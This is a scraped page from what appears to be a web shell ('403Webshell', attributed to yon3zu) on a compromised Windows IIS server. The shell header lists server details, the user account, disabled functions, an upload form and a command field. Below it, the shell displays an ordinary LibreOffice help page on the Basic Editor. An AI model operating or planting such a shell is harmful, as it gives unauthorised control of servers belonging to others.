403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/LibreOffice/help/en-US/text/sbasic/shared/01030200.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>The Basic Editor</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<a name="bm_id3147247"></a>
<a name="basiceditor"></a>
<a name="bm_id3148647"></a><meta itemprop="keywords" content="saving,Basic code">
<meta itemprop="keywords" content="loading,Basic code">
<meta itemprop="keywords" content="Basic editor">
<meta itemprop="keywords" content="navigating,in Basic projects">
<meta itemprop="keywords" content="long lines,in Basic editor">
<meta itemprop="keywords" content="lines of text,in Basic editor">
<meta itemprop="keywords" content="continuation,long lines in editor">

<h1 id="hd_id3147264" dir="auto">
<a name="thebasiceditorh1"></a>The Basic Editor</h1>

<p id="par_id3145069" class="paragraph" dir="auto">The Basic Editor provides the standard editing functions you are familiar with when working in a text document. It supports the functions of the <span class="emph">Edit</span> menu (Cut, Delete, Paste), the ability to select text with the Shift key, as well as cursor positioning functions (for example, moving from word to word with <span id="swlnsystextsbasicshared01030200xml_1" class="switchinline"><span hidden="true" id="MACtextsbasicshared01030200xml_1" class="MAC">Command</span><span hidden="true" id="defaulttextsbasicshared01030200xml_1">Ctrl</span></span> and the arrow keys).</p>
<p id="par_id3154686" class="paragraph" dir="auto">Long lines can be split into several parts by inserting a space and an underline character _ as the last two characters of a line. This connects the line with the following line to one logical line. (If "Option Compatible" is used in the same Basic module, the line continuation feature is also valid for comment lines.)</p>
<p id="par_id3151042" class="paragraph" dir="auto">If you press the <span class="emph">Run BASIC</span> icon on the <span class="emph">Macro</span> bar, program execution starts at the first line of the Basic editor. The program executes the first Sub or Function and then program execution stops. The "Sub Main" does not take precedence on program execution.</p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id59816" dir="auto">Insert your Basic code between the Sub Main and End Sub lines that you see when you first open the IDE. Alternatively, delete all lines and then enter your own Basic code.</p></div>
</div>
<br>
<h2 id="hd_id3125863" dir="auto">Navigating in a Project</h2>
<h3 id="hd_id3145785" dir="auto">The Library List</h3>
<p id="par_id3146120" class="paragraph" dir="auto">Select a library from the <span class="emph">Library</span> list at the left of the toolbar to load the library in the editor. The first module of the selected library will be displayed.</p>
<h3 id="hd_id3153190" dir="auto">The Object Catalog</h3>
<div class="embedded">
<a name="object_catalog"></a>
<p id="par_id3147346" class="paragraph" dir="auto">Click the <span class="emph">Object Catalog</span> icon 
<img src="media/icon-themes/cmd/sc_objectcatalog.svg" class="iconimage" alt="Icon" style="width:21px;height:21px" itemprop="icon" itemscope="true" itemtype="http://schema.org/ImageObject"> in the Macro toolbar to display the object catalog.</p>
<p id="par_id3155114" class="paragraph" dir="auto">The dialog shows a list of all existing objects in a hierarchical representation. Double-clicking a list entry opens its subordinate objects.</p>
<p id="par_id3150786" class="paragraph" dir="auto">To display a certain module in the Editor or to position the cursor in a selected SUB or FUNCTION, double click on the corresponding entry.</p>
</div>
<h2 id="hd_id3148647" dir="auto">Saving and Loading Basic Source Code</h2>
<p id="par_id3154320" class="paragraph" dir="auto">You can save Basic code in a text file for saving and importing in other programming systems.</p>
<div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id3149959" dir="auto">You cannot save Basic dialogs to a text file.</p></div>
</div>
<br>
<h3 id="hd_id3149403" dir="auto">Saving Source Code to a Text File</h3>
<ol itemprop="HowTo" itemscope="true" itemtype="http://schema.org/HowToSection" dir="auto">
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3150327" class="listitem" dir="auto">Select the module that you want to export as text from the object catalog.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3150752" class="listitem" dir="auto">Click the <span class="emph">Save Source As</span> icon in the Macro toolbar.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3154754" class="listitem" dir="auto">Select a file name and click <span class="emph">OK</span> to save the file.</p>
</li>
</ol>
<h3 id="hd_id3159264" dir="auto">Loading Source Code From a Text File</h3>
<ol itemprop="HowTo" itemscope="true" itemtype="http://schema.org/HowToSection" dir="auto">
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3147343" class="listitem" dir="auto">Select the module where you want to import the source code from the object catalog.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3145230" class="listitem" dir="auto">Position the cursor where you want to insert the program code.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3149565" class="listitem" dir="auto">Click the <span class="emph">Insert Source Text</span> icon in the Macro toolbar.</p>
</li>
<li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/HowToStep" dir="auto">
<p id="par_id3154020" class="listitem" dir="auto">Select the text file containing the source code and click <span class="emph">OK</span>.</p>
</li>
</ol>
<a name="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a name="related"></a><span class="emph">Related Topics</span>
</p>
<div class="relatedbody" itemprop="mentions">
<p id="par_id3153198" class="paragraph" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/01050000.html">Basic IDE</a></p>
<div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/01020200.html">Using the Object Catalog</a>
</p></div>
</div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/01030200.xhp" target="_blank">/text/sbasic/shared/01030200.xhp</a></p>
<p dir="auto">Title is: The Basic Editor</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit